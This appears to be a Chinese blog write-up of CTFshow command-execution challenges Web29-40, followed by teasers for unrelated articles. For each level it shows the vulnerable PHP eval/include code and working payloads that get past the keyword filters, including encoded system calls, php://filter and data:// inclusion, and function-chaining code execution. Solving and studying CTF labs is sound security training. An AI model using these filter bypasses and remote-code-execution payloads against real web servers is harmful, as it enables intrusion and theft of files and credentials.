CTFshow-命令执行(Web29-40)
CTFshow-命令执行(Web29-40)
CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客
总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客
对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。
Web29
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
执行恶意代码,做了过滤,preg_match当$c里有flag(不区分大小写/i) ,就返回1,不执行eval
?c=system(‘ls’);
flag.php index.php
?c=system(‘cat’);
-
直接执行系统命令
?c=system(“tac%20fla*”);
?c=system(“tac fla*”);利用tac与system结合,拿到flag
因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system(“ls”); 来查看到底在哪里。
-
内敛执行:
?c=echo%20
tac%20fla*
; -
fliter读
https://ea17f469-c347-4866-aaad-05898730fd29.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
-
/?c=system(“cat%20fl*g.php”);右键源码
-
?c=system(“cp fl*g.php a.txt”);
-
?c=eval($_GET[1]);&1=system(“tac%20flag.php”);
-
?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));
Web30
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
-
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php
-
?c=echo%20
tac%20fla*
; ?c=echo%20cat%20fla*
; -
?c=echo(
tac%20f*
); -
?c=eval($_GET[1]);&1=system(“tac%20flag.php”);
-
?c=passthru(“tac%20fla*”); passthru跟exec,system差不多
-
https://e023300e-4277-465d-ab93-9747a4876361.challenge.ctf.show/?c=echo shell_exec("tac fla*");
-
?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));
ctfshow{8a58547f-7211-453b-9eba-9b9c4e85987b}
Web31
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=eval($_GET[a]);&a=system(“cat flag.php”);
- ?c=passthru(“tac%09f*”);
- ?c=passthru(base64_decode(“Y2F0IGZsYWcucGhw”));
Web32
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用
- 首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
- 然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
- 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
- 在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
Web33
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web34
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web35
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Web36
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
- ?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
- ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
- ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
Web37
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}
}else{highlight_file(__FILE__);
}
- ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
- ?c=data://text/plain,<?php system("tac fla*.php")?>
include() 将 data://
解释为PHP代码,会直接执行
?c=php://filter/read=convert.base64-encode/resource=flag.php不行,因为过滤了flag
在 PHP 中,include() 不仅能加载文件,还可以加载数据流(stream)。PHP 支持多种流包装器(Stream Wrapper),如:
data://
- 直接包含原始数据php://
- PHP的输入/输出流file://
- 读取文件(通常默认使用这个)http://
- 远程 HTTP 资源
- 这种方法也行,不够hackbar不支持直接在post data中不以键值对形式传送,所以得用burp抓包手动加
Web38
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
把php,file也过来过滤了
直接?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
Web39
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}
}else{highlight_file(__FILE__);
}
?c=data://text/plain,<?php system("tac fla*.php")?>
Web40
<?php
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}
}else{highlight_file(__FILE__);
}
全过滤了,这里括号过滤的是中文括号
-
构造文件读取
localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。current()与其相似。
scandir():获取目录下的文件。
array_reverse():数组逆序。
next():函数将内部指针指向数组中的下一个元素,并输出。
print_r():函数用于打印变量,作用对象是变量。
show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件。
highlight_file():跟show_source()类似。
- print_r(pos(localeconv()));
- print_r(scandir(pos(localeconv())));
- print_r((array_reverse(scandir(current(localeconv())))));
- show_source(next(array_reverse(scandir(current(localeconv())))));
- highlight_file(next(array_reverse(scandir(current(localeconv())))));
- echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
-
构造数组+rce
get_defined_vars() :函数返回由所有已定义变量所组成的数组,包括URL屁股后面接的pay
array_pop() 函数删除数组中的最后一个元素。
reset用于将指向返回变量数组的指针指向第一个变量即c
next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码
- print_r(get_defined_vars());
- ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);
这里源码只定义了一个变量即c,加上引入的pay就两个变量值了
函数删除数组中的最后一个元素。
reset用于将指向返回变量数组的指针指向第一个变量即c
next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码
- print_r(get_defined_vars());
- ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);
这里源码只定义了一个变量即c,加上引入的pay就两个变量值了
[外链图片转存中…(img-CvyDaotT-1733923316562)]
[外链图片转存中…(img-biZkr7bS-1733923316562)]
相关文章:
CTFshow-命令执行(Web29-40)
CTFshow-命令执行(Web29-40) CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客 总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客 对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依…...
MySQL锁的类型有哪些
目录 共享锁(share lock): 排他锁(exclusivelock): 表锁(table lock): 行锁: 记录锁(Record lock): 页锁: 间隙锁: 基于锁的属性分类:共享锁,排他锁。 基于锁的粒…...
基于 JNI + Rust 实现一种高性能 Excel 导出方案(下篇)
衡量一个人是否幸福,不应看他有多少高兴的事,而应看他是否为小事烦扰。只有幸福的人,才会把无关痛痒的小事挂心上。那些真正经历巨大灾难和深重痛苦的人,根本无暇顾及这些小事的。因此人们往往在失去幸福之后,才会发现…...
关于Python程序消费Kafka消息不稳定问题的处理方法
在使用Python程序消费Kafka消息的过程中,有时会遇到各种不稳定的情况,如自动提交偏移量无效、CommitFailedError错误等。这些问题不仅影响了数据处理的可靠性,还可能导致重复消费或丢失消息。本文将针对这两个常见问题提供详细的解决方案和最…...
【OpenCV】Canny边缘检测
理论 Canny 边缘检测是一种流行的边缘检测算法。它是由 John F. Canny 在 1986 年提出。 这是一个多阶段算法,我们将介绍算法的每一个步骤。 降噪 由于边缘检测易受图像中的噪声影响,因此第一步是使用 5x5 高斯滤波器去除图像中的噪声。我们在前面的章…...
算法-二进制和位运算
一.二进制 (1).无符号数: 无符号数是一种数据表示方式,它只表示非负整数,即没有符号位,所有的位都用来表示数值大小。在 C 等编程语言中,常见的无符号类型有 unsigned int、unsigned char 等。…...
OpenAI Chatgpt 大语言模型
OpenAI 一个美国人工智能研究实验室,由非营利组织 OpenAI Inc,和其营利组织子公司 OpenAI LP 所组成。该组织于 2015 年由萨姆阿尔特曼、里德霍夫曼、杰西卡利文斯顿、伊隆马斯克、伊尔亚苏茨克维、沃伊切赫萨伦巴、彼得泰尔等人在旧金山成立࿰…...
SpringBoot【九】mybatis-plus之自定义sql零基础教学!
一、前言🔥 环境说明:Windows10 Idea2021.3.2 Jdk1.8 SpringBoot 2.3.1.RELEASE mybatis-plus的基本使用,前两期基本讲的差不多,够日常使用,但是有的小伙伴可能就会抱怨了,若是遇到业务逻辑比较复杂的sq…...
C#,人工智能,深度学习,目标检测,OpenCV级联分类器数据集的制作与《层级分类器一键生成器》源代码
一、目标识别技术概述 1、摘要 目标检测是计算机视觉中最基本和最具挑战性的问题之一,它试图从自然图像中的大量预定义类别中定位目标实例。深度学习技术已成为直接从数据中学习特征表示的强大策略,并在通用目标检测领域取得了显著突破。鉴于这一快速发…...
调度系统:Luigi 的主要特性和功能
Luigi 是一个开源的 Python 工作流管理工具,用于构建批处理作业管道,特别适用于数据工程领域。它被设计用来编排任务和处理任务间的依赖关系,支持自动化复杂的 ETL 流程、数据分析、模型训练等任务。 Luigi 的主要特性和功能: 任…...
C# 探险之旅:第二节 - 定义变量与变量赋值
欢迎再次踏上我们的C#学习之旅。今天,我们要聊一个超级重要又好玩的话题——定义变量与变量赋值。想象一下,你正站在一个魔法森林里,手里拿着一本空白的魔法书(其实就是你的代码编辑器),准备记录下各种神奇…...
AUTOSAR:SOME/IP 概念
文章目录 1. 用例与需求1.1 典型用例1.2 对中间件的要求 2. 协议栈示例3. SOME/IP 概念3.1 中间件整体功能与架构3.2 服务组成元素详细解释 4. 服务发现机制深入剖析5. 总结 1. 用例与需求 1.1 典型用例 信息娱乐系统: 后座娱乐系统连接:允许后排乘客连…...
循序渐进kubenetes Service(Cluster ip、Nodeport、Loadbalancer)
文章目录 部署一个web服务Kubernetes Port ForwardKubernetes ServicesClusterIP ServiceNodePort ServiceLoadBalancer Service 部署一个web服务 准备 Kubernetes 集群后,创建一个名为 web 的新 namespace,然后在该 namespace 中部署一个简单的 web 应…...
深入理解 Apache Shiro:安全框架全解析
亲爱的小伙伴们😘,在求知的漫漫旅途中,若你对深度学习的奥秘、JAVA 、PYTHON与SAP 的奇妙世界,亦或是读研论文的撰写攻略有所探寻🧐,那不妨给我一个小小的关注吧🥰。我会精心筹备,在…...
mac 安装CosyVoice (cpu版本)
CosyVoice 介绍 CosyVoice 是阿里研发的一个tts大模型 官方项目地址:https://github.com/FunAudioLLM/CosyVoice.git 下载项目(非官方) git clone --recursive https://github.com/v3ucn/CosyVoice_for_MacOs.git 进入项目 cd CosyVoic…...
币安移除铭文市场的深度解读:背后原因及其对区块链行业的影响
引言: 就在昨天,2024年12月10号,币安宣布将移除铭文市场(Inscriptions Market)。这一消息引发了全球加密货币社区的广泛关注,尤其是在比特币NFT和数字收藏品市场快速发展的背景下。铭文市场自诞生以来迅速…...
深度学习实战野生动物识别
本文采用YOLOv11作为核心算法框架,结合PyQt5构建用户界面,使用Python3进行开发。YOLOv11以其高效的实时检测能力,在多个目标检测任务中展现出卓越性能。本研究针对野生动物数据集进行训练和优化,该数据集包含丰富的野生动物图像样…...
windows安装使用conda
在Windows系统上安装和使用Conda的详细步骤如下: 一、下载Conda安装包 访问Conda的官方网站Anaconda | The Operating System for AI,点击“Downloads”按钮。在下载页面,选择适合您系统的安装包。通常,对于Windows系统…...
手机租赁系统开发全流程解析与实用指南
内容概要 在如今快速发展的科技时代,手机租赁系统已经成为一种新兴的商业模式,非常符合当下市场需求。那么,在开发这样一个系统的时候,首先要从需求分析和市场调研开始。在这一阶段,你需要了解用户需要什么࿰…...
SpringBoot 开发—— YAML文件深度分析
文章目录 一、YAML概述二、数据表示三、YAML 的语法四、YAML 的应用五、YAML 与其他格式的比较1、YAML vs .properties文件可读性和结构数据类型支持扩展性和灵活性使用场景性能和支持2、YAML vs. JSON3、YAML vs. XML六、使用 YAML 的注意事项七、总结YAML 是非常流行的一种配…...
复合机器人整体解决方案
复合机器人是一种集成移动机器人和协作机器人两项功能为一身的新型机器人,更符合人们想象中“脑、眼、手、脚”融合的机器人终极形态。复合机器人的整体解决方案通常涉及多个方面,包括机器人本体、控制系统、感知系统、执行系统以及周边配套设备等。以下…...
【Oracle11g SQL详解】日期和时间函数:SYSDATE、TO_DATE、TO_CHAR 等
日期和时间函数:SYSDATE、TO_DATE、TO_CHAR 等 在 Oracle 数据库中,日期和时间函数用于处理日期和时间数据。它们在记录创建时间、分析时间间隔、格式化输出等场景中非常重要。本文将详细讲解常用的日期和时间函数及其应用。 一、SYSDATE:获…...
VSCode设置字体
参考文章:【面向小白】vscode最佳实践(2)—— 字体设置(fira code更纱黑体),这篇文章末尾给了安装字体的链接。 配置的字体还是很好看的。 ‘Fira Code Retina’, ‘Sarasa Mono Sc’ 需要注意的一个点&am…...
shell编程入门之提取字符并设置rtc时间
awk用法 awk是一款文本处理工具,通常在Unix和Linux操作系统中使用,用于以行为单位对文本进行处理和操作。它可以读取输入文本,对其进行处理,生成报表、统计信息等,并将结果输出到标准输出设备中。 它主要有以下特点&…...
react 不可变数据更新(Immutable Update)合并对象 类似与Java 的BeanUtils.copyProperties
{ ...state, // 保留原有的 state 的其他部分data: { ...state.data, // 保留 state.data 中的其他字段...action.payload // 使用 action.payload 覆盖 state.data 中需要更新的字段} }这段代码是 Redux 中常见的一种状态更…...
Linux GCC基础用法⑦
在 CentOS 7 系统中使用 GCC 与编写 99 乘法表 一、GCC 简介 GCC(GNU Compiler Collection)是一套功能强大的编程语言编译器,在 CentOS 7 系统中广泛用于编译 C、C等多种编程语言的程序。它能够将源代码转换为可执行文件,让计算…...
PyTorch 切片运算 (Slice Operator)
PyTorch 切片运算 {Slice Operator} 1. [:, -1, :]2. [:, [-1], :]References 1. [:, -1, :] https://github.com/karpathy/llama2.c/blob/master/model.py import torchlogits torch.arange(1, 16) print("logits.shape:", logits.shape) print("logits:\n&…...
SpringSecurity Oauth2 -账号密码实现多因子身份认证
1. 密码策略问题 CREATE TABLE t_storage (id bigint(20) NOT NULL AUTO_INCREMENT COMMENT 自增主键,nameSpace varchar(64) NOT NULL COMMENT 隔离字段,groupId varchar(128) NOT NULL COMMENT 分组,比如不同app,dataId varchar(64) NOT NULL COMMENT 数据存储id…...
【CSS in Depth 2 精译_071】11.4 思考字体颜色的对比效果 + 11.5 本章小结
当前内容所在位置(可进入专栏查看其他译好的章节内容) 第四部分 视觉增强技术 ✔️【第 11 章 颜色与对比】 ✔️ 11.1 通过对比进行交流 11.1.1 模式的建立11.1.2 还原设计稿 11.2 颜色的定义 11.2.1 色域与色彩空间11.2.2 CSS 颜色表示法 11.2.2.1 RGB…...
Y3编辑器文档4:触发器1(对话、装备、特效、行为树、排行榜、不同步问题)
文章目录 一、触发器简介1.1 触发器界面1.2 ECA语句编辑及快捷键1.3 参数设置1.4 变量设置1.5 实体触发器1.6 函数库与触发器复用 二、触发器的多层结构2.1 子触发器(在游戏内对新的事件进行注册)2.2 触发器变量作用域2.3 复合条件2.4 循环2.5 计时器2.6…...
沈阳网站建设公众号/网站建设的数字化和互联网化
源码 资源在qq群:2076966127 这个是我更新这个系列的第二期,现在看看几个月之前画的UI我真想吐了。好丑啊~~~~~ 现在我再一些大型的 图标网站找到了很多好看简介免费的图标~~ https://www.flaticon.com 这个就很不错~ 还是先准备好你的QtDesigner这个原本是为了C准备…...
wordpress 手机页面停/公司做个网站多少钱
>>>>>Unit 11.行提示符例如:[kioskfoundation0 Desktop]$kiosk ##打开shell的用户 ##分隔符foundation0 ##主机名称Desktop ##工作目录名称$ ##身份提示符,#表示超级用户,$表示普通用户注:命令要在行提示符之后输入…...
线上推广员是干什么的/网站seo系统
‘can not read a block mapping entry; a multiline key may not be an implicit key’ 问题出现的地方: title: 2.8 Vue初体验 date: 2022-02-08 19:27:12 tags: 笔记 在这三个标题的:后面都必须添加一个空格,否则就会出错。...
东莞市官网网站建设品牌/盘古百晋广告营销是干嘛
文章目录 chage的作用 使用举例列出用户密码的有效期设置密码过期时间为立即过期(0)设置登陆必须修改密码设置gaosh3 密码60天后过期,至少7天后才能修改密码,密码过期前7天开始收到告警信息 总结 chage 详解 1. chage的作用 作…...
平潭综合实验区建设局网站/优秀营销软文100篇
转载原地址 http://www.cnblogs.com/darrenji/p/3951065.html 转载于:https://www.cnblogs.com/wphl-27/p/5956140.html...
国外的旅游网站做的如何/网络服务公司
夜光序言: 曾经很爱你,之后以后再也不会了,再见你最后一次,再想你最后一次,我放手你走好,再见了我很爱的那个人。没有你的晚安我也会好好睡,没有你的问候我也能好好过,没有你的未来我…...